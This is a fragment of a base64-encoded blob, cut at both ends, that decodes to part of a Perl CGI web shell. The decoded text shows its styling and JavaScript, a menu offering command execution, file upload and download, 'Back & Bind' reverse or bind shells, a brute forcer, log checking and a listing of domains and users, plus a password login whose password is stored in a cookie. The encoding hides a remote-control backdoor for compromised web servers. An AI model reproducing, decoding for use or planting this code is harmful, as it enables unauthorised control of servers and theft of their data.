AwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47DQpjb2xvcjogI0ZGRkZGRjsNCmJvcmRlci1jb2xvcjogIzAwOTkwMDsNCn0NCmNvZGUgew0KYm9yZGVyOiBkYXNoZWQgMHB4ICMzMzM7DQpjb2xvcjogd2hpbGU7DQp9DQpydW4gew0KYm9yZGVyCQkJOiBkYXNoZWQgMHB4ICMzMzM7DQpjb2xvcjogI0ZGMDBBQTsNCn0NCnRleHRhcmVhIHsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMxYjFiMWI7DQpmb250OiBGaXhlZHN5cyBib2xkOw0KY29sb3I6ICNhYWE7DQp9DQpBOmxpbmsgew0KCUNPTE9SOiAjMkJBOEVDOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6dmlzaXRlZCB7DQoJQ09MT1I6ICMyQkE4RUM7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTpob3ZlciB7DQoJdGV4dC1zaGFkb3c6IDBwdCAwcHQgMC4zZW0gY3lhbiwgMHB0IDBwdCAwLjNlbSBjeWFuOw0KCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6YWN0aXZlIHsNCgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCi5saXN0ZGlyIHRyOmhvdmVyew0KCWJhY2tncm91bmQ6ICM0NDQ7DQp9DQoubGlzdGRpciB0cjpob3ZlciB0ZHsNCgliYWNrZ3JvdW5kOiAjNDQ0Ow0KCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsNCgljb2xvcjogI0ZGRkZGRjsgVEVYVC1ERUNPUkFUSU9OOiBub25lOw0KfQ0KLm5vdGxpbmV7DQoJYmFja2dyb3VuZDogIzExMTsNCn0NCi5saW5lew0KCWJhY2tncm91bmQ6ICMyMjI7DQp9DQo8L3N0eWxlPg0KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQpmdW5jdGlvbiBFbmNvZGVyKG5hbWUpDQp7DQoJdmFyIGUgPSAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQobmFtZSk7DQoJZS52YWx1ZSA9IGJ0b2EoZS52YWx1ZSk7DQoJcmV0dXJuIHRydWU7DQp9DQpmdW5jdGlvbiBjaG1vZF9mb3JtKGksZmlsZSkNCnsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZVBlcm1zXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JycgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyB2YWx1ZT1PSz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdndWknPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9JyRFbmNvZGVDdXJyZW50RGlyJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPSciK2ZpbGUrIic+PC9mb3JtPiI7DQoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7DQp9DQpmdW5jdGlvbiBybV9jaG1vZF9mb3JtKHJlc3BvbnNlLGkscGVybXMsZmlsZSkNCnsNCglyZXNwb25zZS5pbm5lckhUTUwgPSAiPHNwYW4gb25jbGljaz1cXFwiY2htb2RfZm9ybSgiICsgaSArICIsJyIrIGZpbGUrICInKVxcXCIgPiIrIHBlcm1zICsiPC9zcGFuPjwvdGQ+IjsNCn0NCmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQ0Kew0KCWYucmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOw0KCXZhciBiYWNrPSJybV9yZW5hbWVfZm9ybSgiK2krIixcXFwiIitmaWxlKyJcXFwiLFxcXCIiK2YrIlxcXCIpOyByZXR1cm4gZmFsc2U7IjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGZvcm0gbmFtZT1Gb3JtUGVybXNfIiArIGkrICIgYWN0aW9uPScnIG1ldGhvZD0nUE9TVCc+PGlucHV0IGlkPXRleHRfIiArIGkgKyAiICBuYW1lPXJlbmFtZSB0eXBlPXRleHQgdmFsdWU9ICciK2ZpbGUrIicgLz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgdmFsdWU9T0s+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBiYWNrICsgIicgdmFsdWU9Q2FuY2VsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJEVuY29kZUN1cnJlbnREaXInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWYgdmFsdWU9JyIrZmlsZSsiJz48L2Zvcm0+IjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidGV4dF8iICsgaSkuZm9jdXMoKTsNCn0NCmZ1bmN0aW9uIHJtX3JlbmFtZV9mb3JtKGksZmlsZSxmKQ0Kew0KCWlmKGY9PSdmJykNCgl7DQoJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8YSBocmVmPSc/YT1jb21tYW5kJmQ9JEVuY29kZUN1cnJlbnREaXImYz1lZGl0JTIwIitmaWxlKyIlMjAnPiIgK2ZpbGUrICI8L2E+IjsNCgl9ZWxzZQ0KCXsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWd1aSZkPSIrZisiJz5bICIgK2ZpbGUrICIgXTwvYT4iOw0KCX0NCn0NCjwvc2NyaXB0Pg0KPGJvZHkgb25Mb2FkPSJkb2N1bWVudC5mLkBfLmZvY3VzKCkiIGJnY29sb3I9IiMwYzBjMGMiIHRvcG1hcmdpbj0iMCIgbGVmdG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAiIG1hcmdpbmhlaWdodD0iMCI+DQo8Y2VudGVyPjxjb2RlPg0KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+DQo8dHI+DQoJPHRkIGFsaWduPSJjZW50ZXIiIHJvd3NwYW49Mz4NCgkJPGI+PGZvbnQgc2l6ZT0iMyI+by0tLVsgICRFZGl0UGVyc2lvbiBdLS0tbzwvZm9udD48L2I+DQoJPC90ZD4NCgk8dGQ+DQoJCSRpbmZvDQoJPC90ZD4NCgk8dGQ+U2VydmVyIElQOjxmb250IGNvbG9yPSIjZmY5OTAwIj4gJEVOVnsnU0VSVkVSX0FERFInfTwvZm9udD4gfCBZb3VyIElQOiA8Zm9udCBjb2xvcj0iI2ZmOTkwMCI+JEVOVnsnUkVNT1RFX0FERFInfTwvZm9udD4NCgk8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZCBjb2xzcGFuPSIyIj4NCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbiI+SG9tZTwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNvbW1hbmQmZD0kRW5jb2RlQ3VycmVudERpciI+Q29tbWFuZDwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Z3VpJmQ9JEVuY29kZUN1cnJlbnREaXIiPkdVSTwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPXVwbG9hZCZkPSRFbmNvZGVDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmQ9JEVuY29kZUN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJhY2tiaW5kIj5CYWNrICYgQmluZDwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9YnJ1dGVmb3JjZXIiPkJydXRlIEZvcmNlcjwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y2hlY2tsb2ciPkNoZWNrIExvZzwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG9tYWluc3VzZXIiPkRvbWFpbnMvVXNlcnM8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWxvZ291dCI+TG9nb3V0PC9hPiB8DQo8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0iIyI+SGVscDwvYT4NCjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiPg0KJGlkDQo8L3RkPg0KPC90cj4NCjwvdGFibGU+DQo8Zm9udCBpZD0iUmVzcG9uc2VEYXRhIiBjb2xvcj0iI0ZGRkZGRiIgPg0KRU5EDQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgTG9naW4gU2NyZWVuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpblNjcmVlbg0Kew0KCXByaW50IDw8RU5EOw0KPHByZT48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQpUeXBpbmdUZXh0ID0gZnVuY3Rpb24oZWxlbWVudCwgaW50ZXJ2YWwsIGN1cnNvciwgZmluaXNoZWRDYWxsYmFjaykgew0KICBpZigodHlwZW9mIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkID09ICJ1bmRlZmluZWQiKSB8fCAodHlwZW9mIGVsZW1lbnQuaW5uZXJIVE1MID09ICJ1bmRlZmluZWQiKSkgew0KICAgIHRoaXMucnVubmluZyA9IHRydWU7CS8vIE5ldmVyIHJ1bi4NCiAgICByZXR1cm47DQogIH0NCiAgdGhpcy5lbGVtZW50ID0gZWxlbWVudDsNCiAgdGhpcy5maW5pc2hlZENhbGxiYWNrID0gKGZpbmlzaGVkQ2FsbGJhY2sgPyBmaW5pc2hlZENhbGxiYWNrIDogZnVuY3Rpb24oKSB7IHJldHVybjsgfSk7DQogIHRoaXMuaW50ZXJ2YWwgPSAodHlwZW9mIGludGVydmFsID09ICJ1bmRlZmluZWQiID8gMTAwIDogaW50ZXJ2YWwpOw0KICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5lbGVtZW50LmlubmVySFRNTDsNCiAgdGhpcy51bnBhcnNlZE9yaWdUZXh0ID0gdGhpcy5vcmlnVGV4dDsNCiAgdGhpcy5jdXJzb3IgPSAoY3Vyc29yID8gY3Vyc29yIDogIiIpOw0KICB0aGlzLmN1cnJlbnRUZXh0ID0gIiI7DQogIHRoaXMuY3VycmVudENoYXIgPSAwOw0KICB0aGlzLmVsZW1lbnQudHlwaW5nVGV4dCA9IHRoaXM7DQogIGlmKHRoaXMuZWxlbWVudC5pZCA9PSAiIikgdGhpcy5lbGVtZW50LmlkID0gInR5cGluZ3RleHQiICsgVHlwaW5nVGV4dC5jdXJyZW50SW5kZXgrKzsNCiAgVHlwaW5nVGV4dC5hbGwucHVzaCh0aGlzKTsNCiAgdGhpcy5ydW5uaW5nID0gZmFsc2U7DQogIHRoaXMuaW5UYWcgPSBmYWxzZTsNCiAgdGhpcy50YWdCdWZmZXIgPSAiIjsNCiAgdGhpcy5pbkhUTUxFbnRpdHkgPSBmYWxzZTsNCiAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiI7DQp9DQpUeXBpbmdUZXh0LmFsbCA9IG5ldyBBcnJheSgpOw0KVHlwaW5nVGV4dC5jdXJyZW50SW5kZXggPSAwOw0KVHlwaW5nVGV4dC5ydW5BbGwgPSBmdW5jdGlvbigpIHsNCiAgZm9yKHZhciBpID0gMDsgaSA8IFR5cGluZ1RleHQuYWxsLmxlbmd0aDsgaSsrKSBUeXBpbmdUZXh0LmFsbFtpXS5ydW4oKTsNCn0NClR5cGluZ1RleHQucHJvdG90eXBlLnJ1biA9IGZ1bmN0aW9uKCkgew0KICBpZih0aGlzLnJ1bm5pbmcpIHJldHVybjsNCiAgaWYodHlwZW9mIHRoaXMub3JpZ1RleHQgPT0gInVuZGVmaW5lZCIpIHsNCiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7CS8vIFdlIGhhdmVuJ3QgZmluaXNoZWQgbG9hZGluZyB5ZXQuICBIYXZlIHBhdGllbmNlLg0KICAgIHJldHVybjsNCiAgfQ0KICBpZih0aGlzLmN1cnJlbnRUZXh0ID09ICIiKSB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gIiI7DQovLyAgdGhpcy5vcmlnVGV4dCA9IHRoaXMub3JpZ1RleHQucmVwbGFjZSgvPChbXjxdKSo+LywgIiIpOyAgICAgLy8gU3RyaXAgSFRNTCBmcm9tIHRleHQuDQogIGlmKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCkgew0KICAgIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI8IiAmJiAhdGhpcy5pblRhZykgew0KICAgICAgdGhpcy50YWdCdWZmZXIgPSAiPCI7DQogICAgICB0aGlzLmluVGFnID0gdHJ1ZTsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI+IiAmJiB0aGlzLmluVGFnKSB7DQogICAgICB0aGlzLnRhZ0J1ZmZlciArPSAiPiI7DQogICAgICB0aGlzLmluVGFnID0gZmFsc2U7DQogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMudGFnQnVmZmVyOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5pblRhZykgew0KICAgICAgdGhpcy50YWdCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiJiIgJiYgIXRoaXMuaW5IVE1MRW50aXR5KSB7DQogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgPSAiJiI7DQogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IHRydWU7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiOyIgJiYgdGhpcy5pbkhUTUxFbnRpdHkpIHsNCiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciArPSAiOyI7DQogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOw0KICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLkhUTUxFbnRpdHlCdWZmZXI7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLmluSFRNTEVudGl0eSkgew0KICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2Ugew0KICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsNCiAgICB9DQogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCA9IHRoaXMuY3VycmVudFRleHQ7DQogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCArPSAodGhpcy5jdXJyZW50Q2hhciA8IHRoaXMub3JpZ1RleHQubGVuZ3RoIC0gMSA/ICh0eXBlb2YgdGhpcy5jdXJzb3IgPT0gImZ1bmN0aW9uIiA/IHRoaXMuY3Vyc29yKHRoaXMuY3VycmVudFRleHQpIDogdGhpcy5jdXJzb3IpIDogIiIpOw0KICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7DQogIH0gZWxzZSB7DQoJdGhpcy5jdXJyZW50VGV4dCA9ICIiOw0KCXRoaXMuY3VycmVudENoYXIgPSAwOw0KICAgICAgICB0aGlzLnJ1bm5pbmcgPSBmYWxzZTsNCiAgICAgICAgdGhpcy5maW5pc2hlZENhbGxiYWNrKCk7DQogIH0NCn0NCjwvc2NyaXB0Pg0KPC9wcmU+DQoNCjxicj4NCg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KbmV3IFR5cGluZ1RleHQoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImhhY2siKSwgMzAsIGZ1bmN0aW9uKGkpeyB2YXIgYXIgPSBuZXcgQXJyYXkoIl8iLCIiKTsgcmV0dXJuICIgIiArIGFyW2kubGVuZ3RoICUgYXIubGVuZ3RoXTsgfSk7DQpUeXBpbmdUZXh0LnJ1bkFsbCgpOw0KDQo8L3NjcmlwdD4NCkVORA0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBlbmNvZGUgaHRtbCBzcGVjaWFsIGNoYXJzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgVXJsRW5jb2RlKCQpew0KCW15ICRzdHIgPSBzaGlmdDsNCgkkc3RyID1+IHMvKFteQS1aYS16MC05XSkvc3ByaW50ZigiJSUlMDJYIiwgb3JkKCQxKSkvc2VnOw0KCXJldHVybiAkc3RyOw0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBBZGQgaHRtbCBzcGVjaWFsIGNoYXJzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgSHRtbFNwZWNpYWxDaGFycygkKXsNCglteSAkdGV4dCA9IHNoaWZ0Ow0KCSR0ZXh0ID1+IHMvJi8mYW1wOy9nOw0KCSR0ZXh0ID1+IHMvIi8mcXVvdDsvZzsNCgkkdGV4dCA9fiBzLycvJy9nOw0KCSR0ZXh0ID1+IHMvPC8mbHQ7L2c7DQoJJHRleHQgPX4gcy8+LyZndDsvZzsNCglyZXR1cm4gJHRleHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEFkZCBsaW5rIGZvciBkaXJlY3RvcnkNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBBZGRMaW5rRGlyKCQpDQp7DQoJbXkgJGFjPXNoaWZ0Ow0KCW15IEBkaXI9KCk7DQoJaWYoJFdpbk5UKQ0KCXsNCgkJQGRpcj1zcGxpdCgvXFwvLCRDdXJyZW50RGlyKTsNCgl9ZWxzZQ0KCXsNCgkJQGRpcj1zcGxpdCgiLyIsJnRyaW0oJEN1cnJlbnREaXIpKTsNCgl9DQoJbXkgJHBhdGg9IiI7DQoJbXkgJHJlc3VsdD0iIjsNCglmb3JlYWNoIChAZGlyKQ0KCXsNCgkJJHBhdGggLj0gJF8uJFBhdGhTZXA7DQoJCSRyZXN1bHQuPSI8YSBocmVmPSc/YT0iLiRhYy4iJmQ9Ii5lbmNvZGVfYmFzZTY0KCRwYXRoKS4iJz4iLiRfLiRQYXRoU2VwLiI8L2E+IjsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgbWVzc2FnZSB0aGF0IGluZm9ybXMgdGhlIHVzZXIgb2YgYSBmYWlsZWQgbG9naW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQ0Kew0KCXByaW50IDw8RU5EOw0KDQpQYXNzd29yZDo8YnI+DQpMb2dpbiBpbmNvcnJlY3Q8YnI+PGJyPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gZm9yIGxvZ2dpbmcgaW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRm9ybQ0Kew0KCXByaW50IDw8RU5EOw0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0ibG9naW4iPg0KTG9naW4gOiBBZG1pbmlzdHJhdG9yPGJyPg0KUGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+DQo8L2Zvcm0+DQpFTkQNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludFBhZ2VGb290ZXINCnsNCglwcmludCAiPGJyPjxmb250IGNvbG9yPXJlZD5vLS0tWyAgPGZvbnQgY29sb3I9I2ZmOTkwMD5FZGl0IGJ5ICRFZGl0UGVyc2lvbiA8L2ZvbnQ+ICBdLS0tbzwvZm9udD48L2NvZGU+PC9jZW50ZXI+PC9ib2R5PjwvaHRtbD4iOw0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBSZXRyZWl2ZXMgdGhlIHZhbHVlcyBvZiBhbGwgY29va2llcy4gVGhlIGNvb2tpZXMgY2FuIGJlIGFjY2Vzc2VzIHVzaW5nIHRoZQ0KIyB2YXJpYWJsZSAkQ29va2llc3snJ30NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBHZXRDb29raWVzDQp7DQoJQGh0dHBjb29raWVzID0gc3BsaXQoLzsgLywkRU5WeydIVFRQX0NPT0tJRSd9KTsNCglmb3JlYWNoICRjb29raWUoQGh0dHBjb29raWVzKQ0KCXsNCgkJKCRpZCwgJHZhbCkgPSBzcGxpdCgvPS8sICRjb29raWUpOw0KCQkkQ29va2llc3skaWR9ID0gJHZhbDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgc2NyZWVuIHdoZW4gdGhlIHVzZXIgbG9ncyBvdXQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ291dFNjcmVlbg0Kew0KCXByaW50ICJDb25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj4iOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIExvZ3Mgb3V0IHRoZSB1c2VyIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gbG9naW4gYWdhaW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQZXJmb3JtTG9nb3V0DQp7DQoJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPTtcbiI7ICMgcmVtb3ZlIHBhc3N3b3JkIGNvb2tpZQ0KCSZQcmludFBhZ2VIZWFkZXIoInAiKTsNCgkmUHJpbnRMb2dvdXRTY3JlZW47DQoNCgkmUHJpbnRMb2dpblNjcmVlbjsNCgkmUHJpbnRMb2dpbkZvcm07DQoJJlByaW50UGFnZUZvb3RlcjsNCglleGl0Ow0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGxvZ2luIHRoZSB1c2VyLiBJZiB0aGUgcGFzc3dvcmQgbWF0Y2hlcywgaXQNCiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QNCiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyDQojIHRvIGxvZ2luDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ2luIA0Kew0KCWlmKCRMb2dpblBhc3N3b3JkIGVxICRQYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkDQoJew0KCQlwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9JExvZ2luUGFzc3dvcmQ7XG4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyOw0KCQlwcmludCAmTGlzdERpcjsNCgl9DQoJZWxzZSAjIHBhc3N